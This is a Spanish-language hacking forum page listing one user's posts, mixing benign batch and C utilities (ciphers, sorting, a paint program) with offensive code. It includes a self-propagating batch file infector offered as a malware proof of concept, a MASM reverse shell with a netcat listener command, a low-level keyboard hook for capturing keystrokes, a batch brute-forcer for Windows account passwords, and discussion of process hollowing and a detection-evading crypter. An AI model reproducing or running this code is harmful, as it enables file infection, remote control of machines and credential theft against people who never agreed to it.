Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Mensajes - binary_death

Páginas: [1]
1
Python / Re:Cifrado Morse
« en: Septiembre 07, 2013, 01:13:41 pm »
Hombre sí... pero el morse no es un cifrado, todo lo contrario.
Hace un tiempo yo estaba muy aficionado a eso del morse  :P Vale la pena conocerlo, nunca sabes para lo que te servirá.

2
Batch - Bash / ¿Infección en batch?
« en: Septiembre 03, 2013, 06:06:39 pm »
Código: (dos) You are not allowed to view links. Register or Login
@:_v_main
@Echo Off %v_main%
For /f "Tokens=* Delims=" %%i in ( %v_main%
'Dir/b *.BAT *.CMD' %v_main%
) Do Call:_Infect "%%~i" "%~0" %v_main%
Exit/B 0 %v_main%
:_Infect %v_main%
Find "@::i_b_t"<"%~1">NUL && GoTo:EoF %v_main%
For /f "Tokens=1 Delims=" %%_ in ( %v_main%
'Type "%~1"^|find /v /c ""^<"%~1"'%v_main%
) Do Set/A "beg_rg=%%_+1" & Set/A "end_rg=%%_+6" %v_main%
( %v_main%
Echo. %v_main%
[email protected]::i_b_t %v_main%
[email protected] "Str_R=v_ma" %v_main%
[email protected]:_%%~1 %v_main%
Echo.:_ %v_main%
[email protected] "" /B /high "%%~0" %%Str_R%%in %v_main%
) >> "%~1" %v_main%
( %v_main%
Echo.%beg_rg%,%end_rg%,1M %v_main%
Echo.E %v_main%
)|Edlin /B %~1 %v_main%
Find "v_main"<"%~2">>"%~1" %v_main%
Goto:EoF %v_main%

No voy a dar explicaciones. Nada más decir que es una prueba de concepto de cómo infectar otros ficheros .bat y que al abrirlos, se ejecute nuestro malware pero sin interrumpir la ejecución del bat original ni un segundo  :P

3
Batch - Bash / Cifrado Vernam
« en: Septiembre 03, 2013, 06:01:44 pm »
Un cifrado poco útil de hecho, pero irrompible. La longitud del password ha de ser igual a la del texto a cifrar.
Podéis leer sobre él en Wikipedia: You are not allowed to view links. Register or Login

Códificador:

Código: You are not allowed to view links. Register or Login
@echo off
SetLocal EnableDelayedExpansion
Title Codificador Vernam
Set/P "str.a=Texto en claro >> "
Call:LtrAng
Call:StrLen "str.a" "Len.Str.a"
Call:RanPwd "Len.Str.a" "Pwd.a"
:_Algorithm
Set/A "Len.Str.a-=1"
For /l %%_ in (0,1,%Len.Str.a%) Do (
Call Call Set/A "Crp=%%%%Code[%%str.a:~%%_,1%%]%%%%+!Pwd.a[%%_]!"
Set/A "Crp=!Crp!%%27"&Call Set "Crpd.Txt=!Crpd.Txt!%%ascii[!Crp!]%%"
)
more/c<nul
Echo.Texto en claro: "!str.a!"
Echo.Texto cifrado: "!Crpd.Txt!"
Echo.Password: "!Pwd.a[ascii]!"
Pause>NUL
Exit
:RanPwd
Set/A "Count=0"
For /l %%i in (1,1,!%~1!) Do (
Set/A "Rnd=!random!%%27"
Set/A "%~2[!Count!]=!Rnd!","Count+=1"
Call Set "%~2[ascii]=!%~2[ascii]!%%ascii[!Rnd!]%%"
)
GoTo:EoF

:LtrAng
For /l %%n in (97,1,122) Do (
"%comspec%" /c exit /b %%n
Set/A "I=%%n-97"
Set "ascii[!I!]=!=ExitCodeAscii!"
Set "code[!=ExitCodeAscii!]=!I!"
)
Set "ascii[26]= "&Set "code[ ]=26"
GoTo:EoF
:StrLen
For /f %%_ In (
'CMD /U /C Echo.!%~1!^|^
More^|Find /V /N ""'
) Do Set/A "%~2+=1"
Set/A "%~2-=4"
GoTo:EoF

Descodificador:

Código: You are not allowed to view links. Register or Login
@echo off
SetLocal EnableDelayedExpansion
:_Main
more/c<nul
Set/P "str.a=Texto codificado >> "
Set/P "pwd.a=Password >> "
Call:LtrAng
Call:StrLen "str.a" "Len.Str.a"
Call:StrLen "pwd.a" "Len.Pwd.a"
If %Len.Pwd.a% NEQ %Len.Str.a% (
Echo.La longitud del texto codificado y ^
el password tiene que ser la misma.
Pause>NUL & GoTo:_Main
)
:_Algorithm
For /l %%_ in (0,1,%Len.Str.a%) Do (
Call Set/A "Drp=27+%%code[!str.a:~%%_,1!]%%-%%code[!pwd.a:~%%_,1!]%%"
Set/A "Drp=!Drp!%%27"&Call Set "Drp.Txt=!Drp.Txt!%%ascii[!Drp!]%%"
)
more/c<nul
Echo.Texto cifrado: "!str.a!"
Echo.Texto descifrado: "!Drp.Txt!"
Echo.Password: "!pwd.a!"
Pause>NUL
Exit
:LtrAng
For /l %%n in (97,1,122) Do (
"%comspec%" /c exit /b %%n
Set/A "I=%%n-97"
Set "ascii[!I!]=!=ExitCodeAscii!"
Set "code[!=ExitCodeAscii!]=!I!"
)
Set "ascii[26]= "&Set "code[ ]=26"
GoTo:EoF
:StrLen
For /f %%_ In (
'CMD /U /C Echo.!%~1!^|^
More^|Find /V /N ""'
) Do Set/A "%~2+=1"
Set/A "%~2-=5"
GoTo:EoF

4
Batch - Bash / Cifrado Caesar
« en: Septiembre 03, 2013, 05:58:40 pm »
Código: You are not allowed to view links. Register or Login
@Echo Off
setlocal enableextensions enabledelayedexpansion

set /p "text=Texto: "
set /p "rotn=Desplazamiento: "
call:_caesar "%text%" "%rotn%"
echo: -Cadena cifrada ^>^> %ret_str%

pause 1>nul & exit

:_caesar
if "%~1" EQU "" goto :EoF
set "chr_lst=abcdefghijklmnopqrstuvwxyz"
set "string=%~1" & set "ret_str="
for /l %%i in (0,1,25) do set/a c[!chr_lst:~%%i,1!]=%%i
set /a cnt=-1
:__loop.a
set /a cnt+=1
set "chr=!string:~%cnt%,1!"
if not defined chr goto :eof
if "%chr%" EQU " " set "ret_str=%ret_str% " & goto :__loop.a
set /a "num_cs=(!c[%chr%]!+%~2) %% 26"
set "ret_str=%ret_str%!chr_lst:~%num_cs%,1!"
goto :__loop.a

Para descifrar, basta con poner la clave en negativo p.e Si para cifrar utilizaste 5, para descifrar, -5.

5
Batch - Bash / Menú de selección
« en: Septiembre 03, 2013, 05:55:06 pm »
Código viejísimo. En ese momento tenía bastantes pájaros en la cabeza y quería hacer algo así como un emulador con batch  ;D
En fin, como sea, el menú funciona, aunque está un poco... como lo diría... es código insostenible, no se puede editar fácilmente.

Da igual, a lo mejor a alguien le sirve:

Código: You are not allowed to view links. Register or Login
@ECHO OFF
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@MODE CON COLS=80 LINES=25
@COLOR 0F
@TITLE BOOT
@REM CODED BY BINARY_DEATH
@REM DATA: LAST LINE: 12
:BIOS
CALL:LOAD_KEYBOARD
CALL:LOAD_GRAPHIC
CALL:GRAPHIC_LOAD "!LOGO!"
SET/A INDEX=0,LIMIT=2
:MENU
SET/A COUNT=0
FOR %%I IN (CHANGE,START,SETTINGS) DO (
IF !INDEX! EQU !COUNT! (
SET VAR=!%%I:@=F!&&SET VAR=!VAR:#=F0!
CALL:GRAPHIC_LOAD "!VAR!"
) ELSE (
SET VAR=!%%I:@=0!&&SET VAR=!VAR:#=0F!
CALL:GRAPHIC_LOAD "!VAR!")
SET/A COUNT+=1
)
CALL KEYBOARD.COM
IF %ERRORLEVEL% EQU 80 (
IF %INDEX% LSS %LIMIT% (
SET/A INDEX+=1
) ELSE (SET/A INDEX=0))
IF %ERRORLEVEL% EQU 72 (
IF %INDEX% GTR 0 (
SET/A INDEX-=1
) ELSE (SET/A INDEX=%LIMIT%))
IF %ERRORLEVEL% EQU 13 (
EXIT/B %INDEX%
)
GOTO:MENU
:GRAPHIC_LOAD
FOR %%S IN (%~1) DO (
FOR /F "TOKENS=1,2,3 DELIMS=$" %%K IN ("%%S") DO (
ECHO.EB800:%%K "%%L"%%M 1>>CSHOW.TMP
))
(TYPE CSHOW.TMP&ECHO.Q)|DEBUG>NUL
DEL/Q CSHOW.TMP
GOTO:EOF
:LOAD_GRAPHIC
SET CHANGE=642$C$#,644$H$#,646$A$#,648$N$#,^
64A$G$#,64C$E$#,64E$Û[email protected],650$B$#,652$O$#,654$S$#
SET START=6E2$S$#,6E4$T$#,6E6$A$#,6E8$R$#,^
6EA$T$#,6EC$Û[email protected],6EE$B$#,6F0$O$#,6F2$S$#
SET SETTINGS=782$S$#,784$E$#,786$T$#,^
788$T$#,78A$I$#,78C$N$#,78E$G$#,790$S$#
SET LOGO=500$±$F,A2$±$F,142$±$F,1E2$±$F,282$±$F,322$±$F,^
3C2$±$F,502$±$F,A4$±$F,3C4$±$F,504$±$F,A6$±$F,^
3C6$±$F,506$±$F,A8$±$F,1E8$±$F,3C8$±$F,508$±$F,^
AA$±$F,1EA$±$F,3CA$±$F,50A$±$F,14C$±$F,28C$±$F,^
32C$±$F,3CC$±$F,50C$±$F,50E$±$F,510$±$F,B2$±$F,^
3D2$±$F,512$±$F,B4$±$F,3D4$±$F,514$±$F,B6$±$F,^
156$±$F,1F6$±$F,296$±$F,336$±$F,3D6$±$F,516$±$F,^
B8$±$F,158$±$F,1F8$±$F,298$±$F,338$±$F,3D8$±$F,^
518$±$F,BA$±$F,3DA$±$F,51A$±$F,BC$±$F,3DC$±$F,^
51C$±$F,51E$±$F,520$±$F,C2$±$F,162$±$F,202$±$F,^
2A2$±$F,342$±$F,3E2$±$F,522$±$F,C4$±$F,3E4$±$F,^
524$±$F,C6$±$F,3E6$±$F,526$±$F,C8$±$F,3E8$±$F,^
528$±$F,CA$±$F,3EA$±$F,52A$±$F,CC$±$F,16C$±$F,^
20C$±$F,2AC$±$F,34C$±$F,3EC$±$F,52C$±$F,52E$±$F,^
530$±$F,D2$±$F,172$±$F,212$±$F,2B2$±$F,3F2$±$F,^
532$±$F,D4$±$F,2B4$±$F,3F4$±$F,534$±$F,D6$±$F,^
2B6$±$F,3F6$±$F,536$±$F,D8$±$F,2B8$±$F,3F8$±$F,^
538$±$F,DA$±$F,2BA$±$F,3FA$±$F,53A$±$F,DC$±$F,^
2BC$±$F,35C$±$F,3FC$±$F,53C$±$F,53E$±$F
GOTO:EOF
:LOAD_KEYBOARD
IF NOT EXIST KEYBOARD.COM ((
ECHO.N KEYBOARD.COM
ECHO.E 0000 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
ECHO.R CX
ECHO.000E
ECHO.W0
ECHO.Q)|DEBUG 1>NUL 2>&1
)
GOTO:EOF

Como utiliza debug, no se puede usar en windows de 64 bits. Batch perdió muchísima potencia con los 64 bits últimamente...

6
Batch - Bash / Criba de Eratostenes
« en: Septiembre 03, 2013, 05:52:07 pm »
Código: You are not allowed to view links. Register or Login
@Echo Off
SetLocal EnableDelayedExpansion
Title Criba de Eratostenes
::Coded By Binary_Death
Set/P "Utl=Until >> "
:_Main
Set/A "ActN=1"
For /l %%z in (2,1,%Utl%) do (
  Set "Lst=!Lst! %%z"
)
:_LoopA
For /f "Tokens=%ActN% Delims= " %%n in ("%Lst%") do (
    Set/A "Qrd=%%n*%%n"
 If !Qrd! GTR %Utl% GoTo:_EndA
   For %%l in (%Lst%) Do (
     Set/A "Rst=%%l%%%%n"
        If %%l EQU %%n Set/A "Rst=1"
        If !Rst! NEQ 0 Set "NLst=!NLst! %%l"
    )
   Set "Lst=!NLst!" & Set "NLst=" & Set/A "ActN+=1"
)
Goto:_LoopA
:_EndA
Echo.&Echo.%Lst%
Pause > NUL
Exit

Un simple algoritmo que permite obtener los números primos hasta el especificado.

7
Dudas y pedidos generales / Desmapear la Image del ejecutable, dynamic forking
« en: Septiembre 01, 2013, 07:46:47 pm »
En el proceso tradicional de dynamic forking, creamos un proceso cualquiera suspendido. Luego con Zw/NtUnmapViewOfSection desmapeamos la imagen del proceso en memoria, para así dejar esa página no reservada y poder asignar memoria tranquilamente en la nueva Imagebase con VirtualAllocEx.

Lo que me estaba preguntando yo, es si en vez de usar Zw/NtUnmapViewOfSection para desreservar la esa zona de la memoria no se podría usar VirtualFreeEx con el parámetro MEM_RELEASE para lo mismo.

Si no es posible, ¿por qué no?

Si es posible, ¿presenta alguna desventaja? ¿No podía ser buena idea usarla?

8
El método está muy bueno y el tutorial genial, pero tiene ciertas limitaciones.
Sólo se cifra la sección de código y no puedes cifrar la IT, porque el ejecutable petaría cuando el loader lo intentara cargar.

En estos momentos ando intentando programar un crypter en ASM que básicamente funcionará así, sólo que añadiendo una nueva sección. Sección cuya VA servirá para añadir una TLS Callback a ella y así evitar modificar el entry point del programa.
Por supuesto, se cifrarán todas las secciones, incluida la Import Table ;)

El proyecto está en pañales y me veo en innumerables complicaciones... pero espero que pronto se puedan ver los primeros resultados!

9
ASM / [MASM] Pequeña PoC de shell remota
« en: Septiembre 01, 2013, 02:03:45 pm »
Esta es una pequeña y simple prueba de concepto de lo que sería una shell remota de conexión inversa programada con sintaxis MASM.

Aquí dejo el código:

Código: (asm) You are not allowed to view links. Register or Login
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\ws2_32.inc
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\kernel32.lib
.data
  cmd       db      "COMSPEC",0
  ip        db      "127.0.0.1",0
  szMsgCon  db      "/k echo: Connected...",0
  port      equ     7565

.data?
  sinfo      STARTUPINFO <>
  pinfo      PROCESS_INFORMATION <>
  sockAddr   sockaddr_in <>
  wsaData    WSADATA <>
  sock       SOCKET ?
  szComspec  db 512 dup(?)

.code
start:
    invoke GetEnvironmentVariable,addr cmd,addr szComspec,512
    __init_sock:
    invoke WSAStartup, 202h, addr wsaData
    invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0
    mov    [sock],eax
    invoke inet_addr,addr ip
    mov    sockAddr.sin_family,AF_INET
    mov    sockAddr.sin_addr,eax
    invoke htons,port
    mov    sockAddr.sin_port,ax
    __connect:
    invoke Sleep,500
    invoke connect,[sock],addr sockAddr,sizeof sockAddr
    cmp    eax,-1
    jz     __connect
    invoke RltZeroMemory, addr sinfo, sizeof sinfo
    mov    eax,[sock]
    mov    sinfo.cb,sizeof sinfo
    mov    sinfo.dwFlags,STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW
    mov    sinfo.wShowWindow,SW_HIDE
    mov    sinfo.hStdOutput,eax
    mov    sinfo.hStdError,eax
    mov    sinfo.hStdInput,eax
    invoke CreateProcess,addr szComspec,addr szMsgCon,0,0,TRUE,CREATE_NEW_CONSOLE,0,0,addr sinfo, addr pinfo
    invoke WaitForSingleObject,pinfo.hProcess,INFINITE
    invoke CloseHandle,pinfo.hThread
    invoke CloseHandle,pinfo.hProcess
    invoke closesocket,sock
    invoke WSACleanup
    jmp __init_sock
 end start

Para probarlo, o podéis hacer pequeño script en python o perl o lo que sea que escuche en el puerto 7565 o mismo usar netcat, de la siguiente manera:

Código: You are not allowed to view links. Register or Login
nc -l -p 7565

¡Un saludo!

10
ASM / [MASM] Hook al teclado
« en: Septiembre 01, 2013, 01:59:57 pm »
Como el código que hizo linkgl, pero en ASM.

Código: (asm) You are not allowed to view links. Register or Login
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
.data?
h_hook      HHOOK ?
kb_hook     KBDLLHOOKSTRUCT <>
msg         MSG <>
kb_ptr      DWORD ?
key_buffer  DB 1
h_buffer    HANDLE ?

.code
start:
invoke AllocConsole
invoke GetStdHandle, STD_OUTPUT_HANDLE
mov     [h_buffer], eax
lea     ebx, LowLevelKeyboardProc
invoke  SetWindowsHookEx, WH_KEYBOARD_LL, ebx, 0, 0
mov     [h_hook], eax

message_proc:
    invoke  GetMessage, addr msg, NULL, 0, 0
    cmp     eax, TRUE
    jz      process_msg
    invoke  UnhookWindowsHookEx, [h_hook]
    invoke  ExitProcess, 0
    process_msg:
        invoke  TranslateMessage, addr msg
        invoke  DispatchMessage, addr msg
        jmp message_proc

LowLevelKeyboardProc:
    cmp     dword ptr[esp+4], 00h
    jae     process_hook
    return:
        invoke  CallNextHookEx, 0, dword ptr[esp+4], dword ptr[esp+8], dword ptr[esp+0Ch]
        retn
    process_hook:
        cmp     dword ptr[esp+8], WM_KEYDOWN
        jnz     return
        mov     ebx, [esp+0Ch]
        mov     ebx, [ebx+00h]
        mov     byte ptr[key_buffer],bl
        invoke  WriteConsole, [h_buffer], addr key_buffer, 1, NULL, NULL
        jmp return

ret
end start

11
Códigos Fuentes / Función SPLIT con delimitador multicarácter
« en: Septiembre 01, 2013, 01:55:52 pm »
Función SPLIT que permite partir una cadena en varios trozos por otra cadena que actúa de delimitador.

Este fue uno de mis primeros códigos en C que hice para afianzar conocimientos de la sintaxis del lenguaje, así que no es muy legible que digamos, pero eso sí, funciona perfectamente.

En el código ya hay un ejemplo de cómo se usa.

Código: (C) You are not allowed to view links. Register or Login
#include <stdio.h>
#include <stdlib.h>
typedef struct {
        char **substring_ptr;
        int number_of_substrings;
} split_struct;
int _strlen(char*);
split_struct *split(char *,char *,int,int);
int main() {
    split_struct *str_info;
    char str[] = "STR1#DLM#STR2#DLM#STR3#DLM#STR4";
    char sep[] = "#DLM#";
    str_info = split(str,sep,_strlen(str),_strlen(sep));
    for(int y=0;y<str_info->number_of_substrings;y++)
    {printf("%s\n", str_info->substring_ptr[y]);}
    getchar();
    return 0;
}   
int _strlen(char *pstr) {
    int i=0;
    while(*(pstr++)!='\0') i++;
    return i;
}
split_struct *split(char *string,char *sep, int str_len, int sep_len) {
     split_struct *retvalue;
     retvalue = (split_struct*)malloc(sizeof(split_struct));
     int ptr_block=0, chr=0, bool_end=0;
     char **buffer = (char**)malloc(sizeof(char*));
     *buffer = (char*)malloc(sizeof(char*));**buffer=0;
     char *tok = (char*)malloc(sep_len*sizeof(char));
     for(int z=0;z<str_len;z++) {
             for(int n=0;n<sep_len&&!bool_end;n++)
             tok[n]=(z+n<str_len)?string[z+n]:bool_end=1;
             int cmp_xy=0;for(int y=0;y<sep_len;y++)if(tok[y]!=sep[y]) cmp_xy=1;
             if (cmp_xy || bool_end) {
                buffer[ptr_block][chr++] = string[z];
                buffer[ptr_block] = (char*)realloc(buffer[ptr_block],chr*sizeof(char*));
                buffer[ptr_block][chr] = 0;
                } else {
                       buffer = (char**)realloc(buffer,(++ptr_block+1)*sizeof(char*));
                       buffer[ptr_block] = (char*)malloc(sizeof(char*));**(buffer+ptr_block)=0;
                       chr=0;z+=sep_len-1;
                       }                           
    }
    free(tok);
    retvalue->substring_ptr = buffer;
    retvalue->number_of_substrings = ptr_block+1;
    return retvalue;
}

12
Códigos Fuentes / Algoritmo Quicksort e Insersort de ordenación
« en: Septiembre 01, 2013, 01:53:25 pm »
El algoritmo quicksort, con un ejemplo de implementación:

Código: (C) You are not allowed to view links. Register or Login
#include <stdio.h>
#include <stdlib.h>
#define MAX_ITM 500000
void qsort (int*,int,int);
void swap(int&,int&);
int rdtsc();
int main() {
        int arr[MAX_ITM];
        for (int i=0;i < MAX_ITM;i++) {
            srand(rdtsc());
            arr[i] = rand();
    }
    printf("List initialized. Press enter to sort it...");getchar();
        qsort(arr,0,MAX_ITM-1);
        printf("List sorted. Press enter to print it...");getchar();
        for (int i=0;i < MAX_ITM;i++)
            printf ("%d\t",arr[i]);
    getchar();
    return 0;
}
int rdtsc() {__asm__ __volatile__("rdtsc");}
void swap(int &n, int &m) {int t=n;n=m;m=t;}
void qsort (int arr[],int p,int q) {
        if(q <= p)
             return;
    int piv = arr[p];
    int i=p+1, j=q;
    while(true) {
                while( (i < q) && (arr[i] <= piv) ) i++;
                while( (j > p) && (arr[j] >  piv) ) j--;
                if(j <= i)
                     break;
                           else
                                swap(arr[i],arr[j]);
    }
    swap(arr[p],arr[j]);
    qsort(arr,p,j-1);
    qsort(arr,j+1,q);
   
 
}


Ahora el Insertsort:

Código: (C) You are not allowed to view links. Register or Login
#include <stdio.h>
#include <stdlib.h>
#define MAX_ITM 500000
void isort(int*,int);
int rdtsc();
int main() {
int arr[MAX_ITM];
for (int i=0;i < MAX_ITM;i++) {
    srand(rdtsc());
    arr[i] = rand();
    }
    printf("List initialized. Press enter to sort it...");getchar();
isort(arr,MAX_ITM);
printf("List sorted. Press enter to print it...");getchar();
for (int i=0;i < MAX_ITM;i++)
    printf ("%d\t",arr[i]);
    getchar();
    return 0;
}
int rdtsc() {__asm__ __volatile__("rdtsc");}
void isort(int array[], int n) {
     for(int i = 1; i < n; i++) {
             int v = array[i], j = i - 1;
             while(j >=0 && array[j] > v)
                     array[j + 1] = array[j--];
             array[j + 1] = v;
     }
 
}

13
Batch - Bash / Suma y resta con decimales
« en: Septiembre 01, 2013, 04:39:45 am »
Con tantos decimales como permita la CMD, aquí dejo una función que permite saltarte las limitaciones de batch para las operaciones matemáticas.

Código: You are not allowed to view links. Register or Login
:_calc
setlocal enabledelayedexpansion
if "%~1" EQU "add" set "sym=+"
if "%~1" EQU "sub" set "sym=-"
set "add_str=%~2"
set "add_str=!add_str:%sym%= !"
set/a hst=0,cnt=0,add=0
for %%_ in (%add_str%) do (
set/a dec[!cnt!]=0
for /f "tokens=2 delims=." %%. in ("%%_") do (
call :_strlen "%%."
set/a dec[!cnt!]=!errorlevel!
if !errorlevel! GTR !hst! set/a hst=!errorlevel!
)
set/a cnt+=1
)
set/a cnt=0
if "%sym%" EQU "-" for %%_ in (%add_str:.=%) do (
set/a pow=%hst%-%dec[0]%,n_b=%%_
for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
set/a add+=!n_b!*2
goto :__op
)
:__op
for %%_ in (%add_str:.=%) do (
call set/a pow=%hst%-%%dec[!cnt!]%%,n_b=%%_
for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
set/a add%sym%=!n_b!,cnt+=1
)
set "res=!add:~0,-%hst%!.!add:~-%hst%!"
if %hst% EQU 0 set "res=%res:~1%"
endlocal & set "%~3=%res%" & exit /b
:_strlen
setlocal
set/a cnt=0
for /f "tokens=* eol=" %%_ in (
'"cmd /u /c echo:%~1|more"'
) do set/a cnt+=1
endlocal & exit /b %cnt%

Ejemplo de uso:

Código: You are not allowed to view links. Register or Login
@Echo Off
call:_calc add 2.3658+8.4102+14.61 var
echo:%var%
pause 1>nul & exit

14
Batch - Bash / BIN2BAT
« en: Septiembre 01, 2013, 04:35:46 am »
 
Código: You are not allowed to view links. Register or Login
@Echo Off
Title Bin2Bat
Set/P "File_Con=File: "
Set/P "File_Fin=BAT Name: "
Echo.
If Not Exist "%File_Con%" (
    Echo.File not Found.
    Pause>Nul
    Exit
)
Call:BfE "%File_Con%" "%File_Fin%"
Echo.Completed.
Pause>NUL
Exit
:BfE
  SetLocal EnableDelayedExpansion
 Set "_=Echo."
   Set/A "$=%~z1+0xFF"
 Call:D2H "%~z1" "#" & Call:D2H "%$%" "$"
    [email protected] +1 %%0^|Debug^>NUL^&Exit>"%~2"
   For /f "Eol=- Tokens=*" %%z in ('
       ^(!_!D 0100 %$%^&!_!Q^)^|DEBUG %~1
      ') do (Set "_TEX=%%z"
       Set "_SEX= !_TEX:~11,47!"
       Set "_SEX=!_SEX:   =!"
        call !_!e!_TEX:~5,4!%%_SEX:-= %%>>"%~2"
   )
(!_!RCX&!_!!#!&!_!N %~n2%~x1&!_!W&!_!Q)>>"%~2"
EndLocal & Exit/B
:D2H
  %ComSpec% /c Exit/B %~1
 For /f "Tokens=* Delims=0" %%_ in (
     "%=ExitCode%") Do Set "%~2=%%_"
 GoTo:EoF

Puede crear un fichero .bat que reconstruya cualquier binario de un máximo de 64 kb. Ah, sí, y tampoco funciona con archivos ejecutables de 32 bits (pero sí de 16, como archivos .com).

15
Batch - Bash / Windows Password Cracker
« en: Septiembre 01, 2013, 04:32:47 am »
Código: You are not allowed to view links. Register or Login
@echo off
setlocal enabledelayedexpansion
color 01&more/c<nul
set /p "user_name=*Username: "
set /p "max_lengh=*Length limit: "
set "chr_lst=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z"
set "cmd_gen.a=" & set "cmd_gen.b=" & set "cmd_gen.c="
set "chr_for="
set /a psw_lengh=0
set /a chr_cnt=0
set "task_name=%random%"
echo: -----Working...
:_loop.gen
setlocal
set /a psw_lengh+=1
if %psw_lengh% gtr %max_lengh% goto :_np
for %%i in (%chr_lst%) do (
if !chr_cnt! LSS %psw_lengh% (
set "chr_for=!chr_for!,%%i"
set/a chr_cnt+=1
)
)
for %%i in (%chr_for%) do set "cmd_gen.a=!cmd_gen.a!for %%%%i in (%chr_lst%) do ("
for %%i in (%chr_for%) do set "cmb_chr=!cmb_chr!%%%%i"
set "cmd_gen.b=schtasks /create /tn "%task_name%" /tr "cmd /c exit" /sc ONCE /st 00:00 /ru %user_name% /rp %cmb_chr%>nul 2>&1&&call:_yp %cmb_chr%"
for %%i in (%chr_for%) do set "cmd_gen.c=!cmd_gen.c!)"
%cmd_gen.a%%cmd_gen.b%%cmd_gen.c%
endlocal & set /a psw_lengh=%psw_lengh%
goto :_loop.gen
:_yp
schtasks /delete /tn "%task_name%" /f 1>nul 2>&1
echo.&echo:Password: %~1 & pause 1>nul
exit
:_np
echo.&echo: Password not found. & pause 1>nul
exit

Crackea el password de un user de Windows. Lleva su tiempo, y sólo está preparado para caracteres alfabéticos (si entendéis el código podéis añadir más, como números por ejemplo). Para probarlo, recomiendo crear un usuario con un password de 3 letras.

16
Batch - Bash / Batch Paint
« en: Septiembre 01, 2013, 04:26:16 am »


Código: You are not allowed to view links. Register or Login
@Echo Off
SETLOCAL ENABLEDELAYEDEXPANSION
:_START
MODE CON COLS=80 LINES=25
MEM/C | FIND /I "ANSI">NUL || ((
ECHO.DEVICE=%SystemRoot%\System32\ANSI.SYS /X
)>>%SystemRoot%\System32\CONFIG.NT
IF "%~1" NEQ "1" (
START "" %0 1 && EXIT/B 0
) ELSE ( EXIT/B 1))
:INI
Set Colors=X3Y3,X5Y3,X3Y5,X5Y5,^
X3Y7,X5Y7,X3Y9,X5Y9,^
X3Y11,X5Y11,X3Y13,X5Y13,^
X3Y15,X5Y15,X3Y17,X5Y17
Set Cursors=X69Y10,X71Y10,X73Y10,X75Y10,X77Y10
Set "Cursor_Icon=Û²±°R"
Set/A "CurCol=8","CurCap=0","BACK=0","LastColVal=8"
Set "CurColPos=X5Y9"
Set "CurCur=Û"
Set "LastCurVal=Û"
Set "LastCurPos=X69Y10"
Call:LOAD_SCR
:_MAIN

TITLE BatchPaint BETA [CRD: %MOUSE[XY]% - LYR: %CurCap% - COL: %CurCol%]
CALL:_MOUSE[GET]
CALL:_CMP

GOTO:_MAIN

:_CMP
::Comp. Extern Cordinates.
If "%MOUSE[XY]%" EQU "X76Y6" (
If %CurCap% LSS 9 Set/A "CurCap+=1"
Command/C Echo.!CurCap!
GoTo:EoF
)
If "%MOUSE[XY]%" EQU "X69Y6" (
If %CurCap% GTR 0 Set/A "CurCap-=1"
Command/C Echo.!CurCap!
GoTo:EoF
)
::Comp. Cursors table cordinates.
Set/A "CursorCount=0"
For %%b in (%Cursors%) do (
If "%MOUSE[XY]%" EQU "%%b" (
Call:__WRITE_COLOR %LastCurPos% %LastCurVal% 8
Call:__WRITE_COLOR %%b %%Cursor_Icon:~!CursorCount!,1%% 10
Call Set "CurCur=%%Cursor_Icon:~!CursorCount!,1%%"
Set "LastCurPos=%%b"
Call Set "LastCurVal=%%Cursor_Icon:~!CursorCount!,1%%"
GoTo:EoF
)
Set/A "CursorCount+=1"
)
::Comp. Colors table cordinates.
For /l %%x in (2,1,7) do (
For /l %%y in (2,1,19) do (
If "%MOUSE[XY]%" EQU "X%%xY%%y" (
Echo.%Colors%|Find/I "%MOUSE[XY]%">NUL && (
Set "CurCol=!%MOUSE[XY]%!"
Call:__WRITE_COLOR %CurColPos% Û %LastColVal%
Call:__WRITE_COLOR %MOUSE[XY]% ° !%MOUSE[XY]%!
Set "CurColPos=%MOUSE[XY]%"
Set "LastColVal=!%MOUSE[XY]%!"
)
GoTo:EoF
)))
::Comp. Limits.
For /F "Tokens=1,2 Delims=X,Y" %%x in ("%MOUSE[XY]%") do (
If %%x LEQ 2 GoTo:EoF
If %%x GEQ 67 GoTo:EoF
If %%y LEQ 2 GoTo:EoF
If %%y GEQ 24 GoTo:EoF
)
::Paint on coordinate
If "%CurCur%" EQU "R" (GoTo:_DltLYR) ELSE (GoTo:_PntLYR)
:_DltLYR
Set "%MOUSE[XY]%[%CurCap%]="
If %CurCap% EQU 0 CALL:__WRITE_COLOR %MOUSE[XY]% Û 1&GoTo:EoF
Set/A "Tmp_Lyr=%CurCap%-1"
For /l %%i in (%Tmp_Lyr%,-1,0) do (
Set "Nxt_LYR=%MOUSE[XY]%[%%i]"
Call Set "INxt_LYR=%%!Nxt_LYR!%%"
If "%%i" EQU "0" (If Not Defined INxt_LYR Set "INxt_LYR=Û$1")
If Defined INxt_LYR (
For /F "Tokens=1,2 Delims=$" %%p in ("!INxt_LYR!") do (
CALL:__WRITE_COLOR %MOUSE[XY]% %%p %%q
Set "!Nxt_LYR!=%%p$%%q"
GoTo:EoF
)))
:_PntLYR
CALL:__WRITE_COLOR %MOUSE[XY]% %CurCur% %CurCol%
Set "%MOUSE[XY]%[%CurCap%]=%CurCur%$%CurCol%"
GoTo:EoF
:LOAD_SCR
More/C<NUL
Echo.                          Batch Paint                           ^(C^)Binary_Death
Echo. ÉÍËÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍ»
Echo. º º º                                                            º           º
Echo. ÌÍÎ͹                                                            º  Layers   º
Echo. º º º                                                            ºÚÄ¿ÚÄÄ¿ÚÄ¿ º
